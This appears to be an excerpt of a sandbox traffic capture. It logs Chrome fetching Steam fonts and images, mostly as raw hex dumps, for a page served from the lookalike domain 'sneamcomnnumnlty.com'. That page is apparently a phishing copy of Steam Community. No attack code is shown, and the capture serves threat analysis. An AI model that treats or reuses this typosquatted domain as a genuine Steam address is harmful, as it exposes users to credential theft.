2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 01 a6 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 29 00 00 01 cd 02 39 00 09 00 29 40 26 00 01 02 03 05 01 01 00 02 4c 00 02 02 03 5f 00 03 03 2c 4d 00 00 00 01 5f 00 01 01 2d 01 4e 11 12 11 11 04 08 1a 2b 01 01 21 15 21 35 01 21 35 21 01 c5 fe d0 01 38 fe 5c 01 32 fe e7 01 83 01 fb fe 54 4f 3f 01 ac 4e ff ff 00 29 00 00 01 cd 02 f5 00 22 02 2c 00 00 01 07 03 36 01 c3 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 29 00 00 01 cd 02 f4 00 22 02 2c 00 00 01 07 03 39 01 9e 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 29 00 00 01 cd 02 fb 00 22 02 2c 00 00 01 07 03 34 01 7f 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 02 00 30 01 7e 01 61 02 c7 00 20 00 2c 00 57 40 54 17 01 03 04 16 01 02 03 10 01 06 02 24 23 02 05 06 05 01 00 05 05 4c 00 04 Data Ascii: --5+)9)@&L_,M_-N+!!5!5!8\2TO?N)",6--5+)",9--5+)",4--5+0~a ,W@T$#L
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 05 27 0b 02 01 04 00 08 03 4c 0a 01 00 49 1b 4b b0 14 50 58 40 18 18 01 05 04 19 01 03 05 27 01 02 09 08 0b 02 02 00 09 04 4c 0a 01 00 49 1b 40 1c 18 01 05 04 19 01 03 05 27 01 02 09 08 0b 01 01 09 04 4c 02 01 01 01 4b 0a 01 00 49 59 59 4b b0 12 50 58 40 22 06 01 03 07 01 02 08 03 02 67 00 05 05 04 61 00 04 04 50 4d 0a 09 02 08 08 00 61 01 01 00 00 51 00 4e 1b 4b b0 14 50 58 40 2c 06 01 03 07 01 02 08 03 02 67 00 05 05 04 61 00 04 04 50 4d 00 08 08 00 61 01 01 00 00 51 4d 0a 01 09 09 00 61 01 01 00 00 51 00 4e 1b 40 2a 06 01 03 07 01 02 08 03 02 67 00 05 05 04 61 00 04 04 50 4d 00 08 08 01 61 00 01 01 49 4d 0a 01 09 09 00 61 00 00 00 51 00 4e 59 59 40 12 00 00 00 2d 00 2c 25 11 13 25 23 11 15 22 23 0b 0a 1f 2b 24 37 17 06 23 22 27 26 23 22 07 27 36 35 35 Data Ascii: 'LIKPX@'LI@'LKIYYKPX@"gaPMaQNKPX@,gaPMaQMaQN@*gaPMaIMaQNYY@-,%%#"#+$7#"'&#"'655
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: 08 e4 08 f6 09 02 09 0e 09 3c 09 7c 09 a2 09 ae 09 ba 09 c6 0a 0a 0a 16 0a 5e 0a 6a 0a 76 0a 82 0a 8e 0a a0 0a b0 0a c2 0a d4 0a e6 0b 5a 0b 66 0b 78 0b 84 0b e2 0b ee 0b fa 0c 0c 0c 18 0c 24 0c 30 0c 3c 0c a4 0c b0 0c fa 0d 34 0d 72 0d c2 0d fe 0e 0a 0e 16 0e 22 0e 7e 0e 8a 0e 96 0f 22 0f 2e 0f 3a 0f b4 10 08 10 26 10 58 10 64 10 b8 10 c4 10 f2 10 fe 11 0a 11 16 11 22 11 80 11 e8 12 5a 12 c6 13 2e 13 3a 13 4c 13 58 13 ba 13 c6 13 d2 13 e4 13 f0 13 fc 14 08 14 14 14 5e 14 6a 14 76 14 96 14 c2 14 ce 14 da 15 36 15 48 15 74 15 98 15 a4 15 b0 16 02 16 0e 16 20 16 2c 16 38 16 44 16 70 16 7c 16 88 16 9a 17 1a 17 26 17 32 17 3e 17 4e 17 5a 17 66 17 72 17 7e 17 8a 17 96 17 a6 17 b2 17 be 17 ca 17 d6 17 e2 17 ee 17 fa 18 06 18 8a 18 96 18 a2 19 80 1a 10 1a 58 1a Data Ascii: <\|^jvZfx$0<4r"~".:&Xd"Z.:LX^jv6Ht ,8Dp\|&2>NZfr~X
2024-10-06 12:08:27 UTC	6096	IN	Data Raw: 7a 2e 73 63 09 7a 61 63 75 74 65 2e 73 63 09 7a 63 61 72 6f 6e 2e 73 63 0d 7a 64 6f 74 61 63 63 65 6e 74 2e 73 63 07 75 6e 69 30 33 39 34 07 75 6e 69 30 33 41 39 07 75 6e 69 30 33 42 43 08 7a 65 72 6f 2e 6f 73 66 07 6f 6e 65 2e 6f 73 66 07 74 77 6f 2e 6f 73 66 09 74 68 72 65 65 2e 6f 73 66 08 66 6f 75 72 2e 6f 73 66 08 66 69 76 65 2e 6f 73 66 07 73 69 78 2e 6f 73 66 09 73 65 76 65 6e 2e 6f 73 66 09 65 69 67 68 74 2e 6f 73 66 08 6e 69 6e 65 2e 6f 73 66 07 7a 65 72 6f 2e 74 66 06 6f 6e 65 2e 74 66 06 74 77 6f 2e 74 66 08 74 68 72 65 65 2e 74 66 07 66 6f 75 72 2e 74 66 07 66 69 76 65 2e 74 66 06 73 69 78 2e 74 66 08 73 65 76 65 6e 2e 74 66 08 65 69 67 68 74 2e 74 66 07 6e 69 6e 65 2e 74 66 09 7a 65 72 6f 2e 74 6f 73 66 08 6f 6e 65 2e 74 6f 73 66 08 74 77 6f Data Ascii: z.sczacute.sczcaron.sczdotaccent.scuni0394uni03A9uni03BCzero.osfone.osftwo.osfthree.osffour.osffive.osfsix.osfseven.osfeight.osfnine.osfzero.tfone.tftwo.tfthree.tffour.tffive.tfsix.tfseven.tfeight.tfnine.tfzero.tosfone.tosftwo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49809	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	390	OUT	GET /public/images/v6/logo_steam_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2843 Last-Modified: Thu, 18 Jun 2020 23:12:51 GMT ETag: "5eebf4f3-b1b" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	2843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 cc 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR\:;)pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49810	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	390	OUT	GET /public/images/footerLogo_valve_new.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2584 Last-Modified: Fri, 21 Feb 2020 17:48:31 GMT ETag: "5e5017ef-a18" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	2584	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 32 08 06 00 00 00 fc cf 51 8d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR2QtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49812	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	386	OUT	GET /public/images/ico/ico_facebook.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1278 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-4fe" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close X-N: S
2024-10-06 12:08:27 UTC	1278	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 55 56 5c c9 ca cc c8 c9 cb ae af b2 52 54 5a ee ef ef fc fc fc 54 56 5c 50 52 58 e2 e3 e4 d9 d9 db 87 89 8d 38 3a 41 5c 5d 63 e8 e8 e9 f2 f2 f3 93 94 98 d7 d7 d8 fa fa fa a3 a4 a7 be bf c1 e1 e1 e2 96 97 9b d4 d5 d6 9d 9e a1 ec ec ed f3 f3 f4 94 95 99 42 44 4b 41 43 49 ff ff ff 35 37 3e 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 Data Ascii: GIF89aUV\RTZTV\PRX8:A\]cBDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49811	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	680	OUT	GET /public/shared/fonts/MotivaSans-Medium.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 124048 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1e490" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 e4 88 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 89 ce b2 88 00 00 01 6c 00 00 75 9a 47 53 55 42 e1 64 c1 db 00 00 77 08 00 00 1b a4 4f 53 2f 32 75 9a 9f 11 00 00 92 ac 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 93 0c 00 00 05 8e 63 76 74 20 47 bc 0a 74 00 01 d4 d0 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d5 98 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 d4 c8 00 00 00 08 67 6c 79 66 35 8e 7d 32 00 00 98 9c 00 01 06 e4 68 65 61 64 17 e9 fb 57 00 01 9f 80 00 00 00 36 68 68 65 61 06 f4 06 76 00 01 9f b8 00 00 00 24 68 6d 74 78 a2 5f 58 e0 00 01 9f dc 00 00 0c e6 6c 6f 63 61 ba 3a 79 56 00 01 ac c4 00 00 06 a6 6d 61 78 70 04 a0 0f 0c 00 01 b3 6c 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOSluGSUBdwOS/2u`cmapdcvt Gtfpgm6!gaspglyf5}2headW6hheav$hmtx_Xloca:yVmaxpl nam
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 05 00 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e5 ff fb 00 09 00 00 00 0e 00 00 00 13 00 05 00 00 00 00 00 00 00 00 ff b7 ff c8 00 00 00 00 00 00 00 00 00 00 ff ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e7 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 12:08:27 UTC	1974	IN	Data Raw: 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 Data Ascii:
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 01 c1 01 c3 01 c4 01 c5 01 c6 01 c8 01 c9 01 ca 01 cb 01 cc 01 cd 01 ce 01 cf 01 d0 01 d1 01 d2 01 d3 01 d4 01 d5 01 d6 01 d7 01 d8 01 d9 01 da 01 db 01 dc 01 dd 01 de 01 df 01 e0 01 e1 01 e2 01 e3 01 e4 01 e5 01 e6 01 e7 01 e8 01 e9 01 ea 01 eb 01 ec 01 ed 01 ee 01 ef 01 f0 01 f1 01 f2 01 f3 01 f4 01 f5 01 f6 01 f7 01 f8 01 f9 01 fa 01 fb 01 fc 01 fd 01 fe 01 76 01 ac 01 ff 02 00 02 01 02 02 02 03 02 04 02 05 02 06 02 07 02 08 02 09 02 0a 02 0b 02 0c 02 0d 02 0e 02 0f 02 10 02 11 02 12 02 13 02 14 02 15 02 16 02 17 02 18 02 19 02 1a 02 1b 02 1c 02 1d 02 1e 02 1f 02 20 02 21 02 22 02 23 02 24 02 25 02 26 02 27 02 28 02 29 02 2a 02 2b 02 2c 02 2d 02 2e 02 2f 02 8e 02 8f 02 90 02 91 02 92 02 93 02 94 02 95 02 96 02 97 02 c5 02 c6 02 c7 02 c8 02 c9 02 c3 02 Data Ascii: v !"#$%&'()*+,-./
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 2d 00 a3 4b b0 21 50 58 40 18 1a 01 04 05 19 01 03 04 14 01 06 03 24 23 05 03 00 06 0a 01 01 00 05 4c 1b 40 18 1a 01 04 05 19 01 03 04 14 01 06 03 24 23 05 03 00 06 0a 01 01 07 05 4c 59 4b b0 21 50 58 40 20 00 03 00 06 00 03 06 69 00 04 04 05 61 00 05 05 53 4d 08 07 02 00 00 01 61 02 01 01 01 51 01 4e 1b 40 2a 00 03 00 06 00 03 06 69 00 04 04 05 61 00 05 05 53 4d 00 00 00 01 61 02 01 01 01 51 4d 08 01 07 07 01 61 02 01 01 01 51 01 4e 59 40 10 21 21 21 2d 21 2c 28 24 23 24 22 24 12 09 0a 1d 2b 25 14 16 33 32 37 07 06 23 22 27 06 23 22 26 35 34 36 33 32 17 35 34 23 22 07 27 36 36 33 32 16 15 02 36 37 35 26 26 23 22 06 15 14 16 33 01 e4 12 13 05 10 09 13 2d 4c 0f 40 65 4a 64 77 5b 37 3c 6f 48 44 2f 29 6a 3a 69 6c ce 44 14 14 3b 1a 30 3c 33 23 7c 16 13 02 Data Ascii: -K!PX@$#L@$#LYK!PX@ iaSMaQN@*iaSMaQMaQNY@!!!-!,($#$"$+%327#"'#"&5463254#"'6632675&&#"3-L@eJdw[7<oHD/)j:ilD;0<3#\|
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: 01 96 00 00 01 07 03 39 01 cd 00 2d 00 08 b1 02 01 b0 2d b0 35 2b 00 00 ff ff 00 22 00 00 02 34 02 39 00 02 01 97 00 00 00 01 00 4f 00 00 01 cc 02 39 00 0b 00 29 40 26 00 03 00 04 05 03 04 67 00 02 02 01 5f 00 01 01 2c 4d 00 05 05 00 5f 00 00 00 2d 00 4e 11 11 11 11 11 10 06 08 1c 2b 21 21 11 21 15 21 15 33 15 23 15 21 01 cc fe 83 01 7d fe fb e4 e4 01 05 02 39 62 83 64 8d 00 00 00 ff ff 00 4f 00 00 01 cc 03 01 00 22 01 9a 00 00 01 07 03 36 01 e6 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f 00 00 01 cc 03 03 00 22 01 9a 00 00 01 07 03 3a 01 b8 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f 00 00 01 cc 02 fe 00 22 01 9a 00 00 01 07 03 39 01 bc 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f 00 00 01 cc 03 05 00 22 01 9a 00 00 01 07 03 Data Ascii: 9--5+"49O9)@&g_,M_-N+!!!!3#!}9bdO"6--5+O":--5+O"9--5+O"
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 02 39 00 22 02 04 00 00 00 03 03 41 01 d9 00 00 ff ff 00 4f ff f1 02 21 03 01 00 22 02 04 00 00 01 07 03 35 01 ae 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f ff f1 02 21 03 26 00 22 02 04 00 00 01 07 03 3e 03 16 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 4f ff f1 02 87 02 af 00 1a 00 27 40 24 05 01 03 02 01 4c 00 00 02 00 85 04 01 02 02 2c 4d 00 03 03 01 61 00 01 01 31 01 4e 23 23 13 27 10 05 08 1b 2b 01 33 15 14 06 07 11 14 06 23 22 26 35 11 33 11 14 16 33 32 36 35 11 33 32 36 35 02 2a 5d 36 30 84 66 65 83 74 3c 38 39 3d 45 1e 1a 02 af 39 35 40 0a fe de 71 73 73 71 01 64 fe 91 31 3d 3d 31 01 6f 1b 1b 00 00 00 ff ff 00 4f ff f1 02 87 03 01 00 22 02 11 00 00 01 07 03 36 02 10 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f ff 4a 02 Data Ascii: 9"AO!"5--5+O!&">--5+O'@$L,Ma1N##'+3#"&5332653265*]60fet<89=E95@qssqd1==1oO"6--5+OJ
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 23 18 21 21 26 4f 18 1e 4b 41 2b 3b 23 1c 24 17 15 d4 24 22 21 24 25 20 22 24 00 00 00 02 00 32 ff 8a 01 96 01 df 00 0b 00 26 00 3e 40 3b 17 01 02 04 18 01 03 02 02 4c 00 04 00 02 00 04 02 80 05 01 01 00 00 04 01 00 69 00 02 03 03 02 59 00 02 02 03 62 00 03 02 03 52 00 00 26 25 1c 1a 16 14 00 0b 00 0a 24 06 08 17 2b 00 16 15 14 06 23 22 26 35 34 36 33 17 14 06 07 06 06 15 14 16 33 32 37 17 06 06 23 22 26 35 34 36 37 36 36 35 35 33 01 0e 2a 2a 1f 1f 29 29 1f 32 22 21 1b 19 29 27 3a 33 2f 22 5e 34 53 5d 2a 27 1e 1c 64 01 df 24 21 21 25 25 21 21 24 e7 27 33 1f 19 23 18 21 21 26 4f 18 1e 4b 41 2b 3b 23 1c 24 17 15 00 00 00 01 ff 51 01 0b ff da 01 96 00 0b 00 1f 40 1c 02 01 01 00 00 01 59 02 01 01 01 00 61 00 00 01 00 51 00 00 00 0b 00 0a 24 03 08 17 2b 02 16 Data Ascii: #!!&OKA+;#$$"!$% "$2&>@;LiYbR&%$+#"&5463327#"&546766553*))2"!)':3/"^4S]'d$!!%%!!$'3#!!&OKA+;#$Q@YaQ$+
2024-10-06 12:08:28 UTC	7952	IN	Data Raw: 02 78 00 1c 02 3b 00 4f 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 44 00 12 02 fa 00 12 02 23 00 4f 02 21 00 29 02 21 00 29 02 21 00 29 02 21 00 29 02 21 00 29 02 21 00 29 02 5d 00 4f 02 5d 00 22 02 5d 00 4f 02 5d 00 22 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 01 ff 00 4f 02 6d 00 29 01 ed 00 4f 02 47 00 29 02 47 00 29 02 47 00 29 02 47 00 29 02 47 00 29 02 47 00 29 02 89 00 Data Ascii: x;ODDDDDDDDDDDDDDDDDDDDDDD#O!)!)!)!)!)!)]O]"]O]"OOOOOOOOOOOOOOOOOOm)OG)G)G)G)G)G)
2024-10-06 12:08:28 UTC	8144	IN	Data Raw: 75 6e 69 31 45 45 39 07 75 6e 69 31 45 46 31 07 75 6e 69 31 45 45 42 07 75 6e 69 31 45 45 44 07 75 6e 69 31 45 45 46 0d 75 68 75 6e 67 61 72 75 6d 6c 61 75 74 07 75 6d 61 63 72 6f 6e 07 75 6f 67 6f 6e 65 6b 05 75 72 69 6e 67 06 75 74 69 6c 64 65 06 77 61 63 75 74 65 0b 77 63 69 72 63 75 6d 66 6c 65 78 09 77 64 69 65 72 65 73 69 73 06 77 67 72 61 76 65 0b 79 63 69 72 63 75 6d 66 6c 65 78 07 75 6e 69 31 45 46 35 06 79 67 72 61 76 65 07 75 6e 69 31 45 46 37 07 75 6e 69 30 32 33 33 07 75 6e 69 31 45 46 39 06 7a 61 63 75 74 65 0a 7a 64 6f 74 61 63 63 65 6e 74 0a 75 6e 69 31 45 39 45 2e 73 63 04 61 2e 73 63 09 61 61 63 75 74 65 2e 73 63 09 61 62 72 65 76 65 2e 73 63 0a 75 6e 69 31 45 41 46 2e 73 63 0a 75 6e 69 31 45 42 37 2e 73 63 0a 75 6e 69 31 45 42 31 2e 73 Data Ascii: uni1EE9uni1EF1uni1EEBuni1EEDuni1EEFuhungarumlautumacronuogonekuringutildewacutewcircumflexwdieresiswgraveycircumflexuni1EF5ygraveuni1EF7uni0233uni1EF9zacutezdotaccentuni1E9E.sca.scaacute.scabreve.scuni1EAF.scuni1EB7.scuni1EB1.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49813	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	678	OUT	GET /public/shared/fonts/MotivaSans-Bold.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 123884 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1e3ec" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
